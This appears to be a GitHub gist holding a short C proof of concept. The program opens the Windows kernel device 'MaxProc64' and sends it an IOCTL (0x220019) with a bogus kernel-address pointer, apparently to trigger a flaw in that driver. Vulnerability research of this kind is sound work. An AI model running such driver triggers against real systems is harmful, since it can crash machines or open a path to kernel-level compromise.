Skip to content

Instantly share code, notes, and snippets.

@hfiref0x
Created February 24, 2020 06:50
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hfiref0x/c1e594841c366882085667d005e6a8ed to your computer and use it in GitHub Desktop.
Save hfiref0x/c1e594841c366882085667d005e6a8ed to your computer and use it in GitHub Desktop.
int main()
{
HANDLE deviceHandle = CreateFile(TEXT("\\\\.\\MaxProc64"),
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL);
if (deviceHandle == INVALID_HANDLE_VALUE) {
printf_s("[!] Unable to open device\r\n");
return -1;
}
else {
printf_s("[+] MaxProc64 device opened\r\n");
}
NTSTATUS ntStatus;
ntStatus = CallDriver(deviceHandle,
0x220019,
(PVOID)0xFFFFFFFF12345678,
0,
NULL,
0);
printf_s("[+] CallDriver NTSTATUS 0x%lX\r\n", ntStatus);
CloseHandle(deviceHandle);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment